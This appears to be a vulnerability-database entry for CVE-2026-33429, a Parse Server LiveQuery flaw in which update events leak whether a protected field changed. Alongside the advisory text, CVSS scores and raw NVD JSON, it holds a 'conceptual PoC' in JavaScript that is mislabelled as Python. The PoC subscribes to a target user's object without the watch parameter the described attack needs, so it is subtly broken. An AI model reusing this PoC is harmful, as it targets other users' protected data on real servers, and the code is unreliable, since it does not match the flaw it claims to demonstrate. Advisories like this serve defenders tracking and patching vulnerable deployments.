CVE-2026-33429

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.54 and 9.6.0-alpha.43, an attacker can subscribe to LiveQuery with a watch parameter targeting a protected field. Although the protected field value is properly stripped from event payloads, the presence or absence of update events reveals whether the protected field changed, creating a binary oracle. For boolean protected fields, the timing of change events is equivalent to knowing the field value. This issue has been patched in versions 8.6.54 and 9.6.0-alpha.43.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.54

Parse Server >= 9.0.0, < 9.6.0-alpha.43

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual PoC for CVE-2026-33429
// Demonstrates how to subscribe to a protected field and detect changes.

const Parse = require('parse/node');

// Initialize Parse Client with public configuration
Parse.initialize('YOUR_APP_ID', 'YOUR_JS_KEY');
Parse.serverURL = 'http://localhost:1337/parse';

async function monitorProtectedField() {
    // Create a query for the target class containing the protected field
    const query = new Parse.Query('User'); 
    // Ideally target a specific user known to exist
    query.equalTo('objectId', 'TARGET_USER_ID');

    try {
        // Subscribe to the LiveQuery channel
        const subscription = await query.subscribe();

        console.log('[*] Listening for updates on protected field...');

        // Listen for the 'update' event
        subscription.on('update', (object) => {
            // The protected field value is stripped from the payload here,
            // but the fact that this event fired indicates the field changed.
            console.log('[+] Update event received! The protected field likely changed state.');
            console.log('[*] Object data (sanitized):', object.toJSON());
        });

    } catch (error) {
        console.error('[-] Subscription failed:', error);
    }
}

monitorProtectedField();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33429
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33429
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33429/
[4] VulDB https://vuldb.com/cve/CVE-2026-33429
[5] https://github.com/parse-community/parse-server/commit/0c0a0a5a37ca821d2553119f2cb3be35322eda4b
[6] https://github.com/parse-community/parse-server/commit/c62eacaf38de86913f09240583448360b1cc8e67
[7] https://github.com/parse-community/parse-server/pull/10253
[8] https://github.com/parse-community/parse-server/pull/10254
[9] https://github.com/parse-community/parse-server/security/advisories/GHSA-qpc3-fg4j-8hgm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33429", "sourceIdentifier": "[email protected]", "published": "2026-03-24T19:16:53.883", "lastModified": "2026-03-25T21:22:23.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.54 and 9.6.0-alpha.43, an attacker can subscribe to LiveQuery with a watch parameter targeting a protected field. Although the protected field value is properly stripped from event payloads, the presence or absence of update events reveals whether the protected field changed, creating a binary oracle. For boolean protected fields, the timing of change events is equivalent to knowing the field value. This issue has been patched in versions 8.6.54 and 9.6.0-alpha.43."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 8.6.54 y 9.6.0-alpha.43, un atacante puede suscribirse a LiveQuery con un parámetro watch dirigido a un campo protegido. Aunque el valor del campo protegido se elimina correctamente de las cargas útiles de los eventos, la presencia o ausencia de eventos de actualización revela si el campo protegido cambió, creando un oráculo binario. Para campos protegidos booleanos, el momento de los eventos de cambio es equivalente a conocer el valor del campo. Este problema ha sido parcheado en las versiones 8.6.54 y 9.6.0-alpha.43."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.54", "matchCriteriaId": "D8308B2F-DE28-405A-AFD2-37822E0FD652"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha12:*:*:*:node.js:*:*", "matchCriteriaId": "B84C28F8-AADE-41BB-A0EF-B701AB57DC3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha13:*:*:*:node.js:*:*", "matchCrite ... (truncated)